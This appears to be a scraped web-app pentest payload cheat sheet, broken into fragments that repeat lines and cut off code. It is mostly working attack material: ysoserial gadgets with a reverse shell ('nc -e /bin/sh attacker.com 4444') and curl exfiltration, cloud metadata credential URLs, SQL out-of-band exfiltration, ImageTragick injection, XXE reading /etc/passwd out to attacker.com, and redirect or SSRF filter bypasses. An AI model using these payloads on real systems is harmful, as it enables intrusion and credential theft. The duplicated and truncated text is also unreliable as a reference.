# Generate payloads with ysoserial java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/$(whoami)" | base64

java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/$(whoami)" | base64

java -jar ysoserial.jar CommonsBeanutils1 "nc -e /bin/sh attacker.com 4444"

java -jar ysoserial.jar CommonsBeanutils1 "nc -e /bin/sh attacker.com 4444"

header = {     "alg": "RS256",     "jku": "https://attacker.com/jwks.json"  # Attacker-controlled JWKS

"alg": "RS256",     "jku": "https://attacker.com/jwks.json"  # Attacker-controlled JWKS }

"jku": "https://attacker.com/jwks.json"  # Attacker-controlled JWKS

# Session Fixation Test Flow: 1. Get session ID as anonymous user: SESSIONID=abc123 2. Force victim to use: https://target.com/login?SESSIONID=abc123

1. Get session ID as anonymous user: SESSIONID=abc123 2. Force victim to use: https://target.com/login?SESSIONID=abc123 3. Victim logs in

2. Force victim to use: https://target.com/login?SESSIONID=abc123

# OAuth redirect_uri bypass redirect_uri=https://attacker.com  # Direct

redirect_uri=https://attacker.com  # Direct

redirect_uri=https://target.com@attacker.com  # Authority confusion

redirect_uri=https://target.com%2F..%2F..%2Fattacker.com  # Path traversal

redirect_uri=https://target.com.attacker.com  # Subdomain

redirect_uri=https://target.com%00.attacker.com  # Null byte

http://169.254.169.254/latest/meta-data/

http://169.254.169.254/latest/meta-data/iam/security-credentials/

http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]

http://169.254.169.254/latest/user-data/

http://169.254.169.254/latest/dynamic/instance-identity/document

# IMDSv2 bypass (requires token) curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

http://metadata.google.internal/computeMetadata/v1/

http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

http://metadata.google.internal/computeMetadata/v1/project/project-id

http://169.254.169.254/metadata/instance?api-version=2021-02-01

http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

# URL encoding bypass http://%31%32%37%2e%30%2e%30%2e%31/  # URL encoded 127.0.0.1

http://%31%32%37%2e%30%2e%30%2e%31/  # URL encoded 127.0.0.1

http://127.0.0.1%00.attacker.com/    # Null byte

http://127.0.0.1%23@attacker.com/    # Fragment

http://attacker.com#@127.0.0.1/       # Fragment confusion

# Out-of-band detection methods 1. Burp Collaborator: https://your-id.burpcollaborator.net

1. Burp Collaborator: https://your-id.burpcollaborator.net

2. Interactsh: https://your-id.oast.fun

3. RequestBin: https://requestbin.com/r/your-id

4. Webhook.site: https://webhook.site/your-uuid

# DNS-based exfiltration url=http://$(whoami).attacker.com

url=http://$(whoami).attacker.com

[Credential-related source omitted]

[Credential-related source omitted]

# Time-based detection url=http://127.0.0.1:22  # SSH - should be slow/timeout

url=http://127.0.0.1:22  # SSH - should be slow/timeout

url=http://127.0.0.1:3389  # RDP

url=http://127.0.0.1:6379  # Redis - internal service

# Oracle SELECT UTL_HTTP.REQUEST('http://attacker.com/'||user) FROM DUAL;

SELECT UTL_HTTP.REQUEST('http://attacker.com/'||user) FROM DUAL;

SELECT HTTPURITYPE('http://attacker.com/'||user).GETCLOB() FROM DUAL;

# PostgreSQL COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/'||current_user;

COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/'||current_user;

# MathML-based <math><maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(1)">CLICKME</maction></math>

<math><maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(1)">CLICKME</maction></math>

eval(userInput);

async def exploit():     async with aiohttp.ClientSession() as session:

async with aiohttp.ClientSession() as session:

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|ls "-la)'

viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|ls "-la)' pop graphic-context

fill 'url(https://example.com/image.jpg"|ls "-la)'

push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'https://example.com/x.png"|curl "http://attacker.com/?$(id)'

viewbox 0 0 640 480 image over 0,0 0,0 'https://example.com/x.png"|curl "http://attacker.com/?$(id)' pop graphic-context

image over 0,0 0,0 'https://example.com/x.png"|curl "http://attacker.com/?$(id)'

# Infinite redirect loop (from HackerOne) https://target.com/en-us%0a/en-us%0a/en-us%0a/...  # Repeated 100x

https://target.com/en-us%0a/en-us%0a/en-us%0a/...  # Repeated 100x

# JSON CSRF <form action="https://target.com/api/update" method="POST" enctype="text/plain">

<form action="https://target.com/api/update" method="POST" enctype="text/plain">

# Basic payloads ?redirect=https://evil.com

?redirect=https://evil.com

?next=https:evil.com ?return=///evil.com ?goto=https://target.com@evil.com

?goto=https://target.com@evil.com

# Unicode normalization ?redirect=https://target.com%E3%80%82evil.com

?redirect=https://target.com%E3%80%82evil.com

# Bypass common filters ?redirect=https://target.com.evil.com

?redirect=https://target.com.evil.com

?redirect=https://evil.com#target.com

?redirect=https://evil.com?target.com

?redirect=https://evil.com\@target.com

?redirect=https://target.com%2f%2fevil.com

?redirect=https://targetcom.evil.com

# Data URI redirect ?redirect=data:text/html,<script>location='https://evil.com'</script>

?redirect=data:text/html,<script>location='https://evil.com'</script>

<?xml version="1.0"?> <!DOCTYPE foo [   <!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">

<!DOCTYPE foo [   <!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">   %xxe;

<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">

<!-- xxe.dtd on attacker server --> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>"> %eval;

<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">

<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">

# API discovery ffuf -u https://target.com/FUZZ -w api-wordlist.txt

ffuf -u https://target.com/FUZZ -w api-wordlist.txt

# SQLMap - SQL injection sqlmap -u "https://target.com/page?id=1" --batch --dbs

sqlmap -u "https://target.com/page?id=1" --batch --dbs

# XSStrike - XSS discovery xsstrike -u "https://target.com/search?q=test"

xsstrike -u "https://target.com/search?q=test"

# Dalfox - DOM XSS dalfox url "https://target.com/search?q=test"

dalfox url "https://target.com/search?q=test"

# FFuf - Fuzzing ffuf -u "https://target.com/FUZZ" -w wordlist.txt

ffuf -u "https://target.com/FUZZ" -w wordlist.txt

# Arjun - Parameter discovery arjun -u "https://target.com/api"

arjun -u "https://target.com/api"

# Git-dumper - Git exposure git-dumper https://target.com/.git/ output/

git-dumper https://target.com/.git/ output/

# SSRF http://169.254.169.254/latest/meta-data/

http://169.254.169.254/latest/meta-data/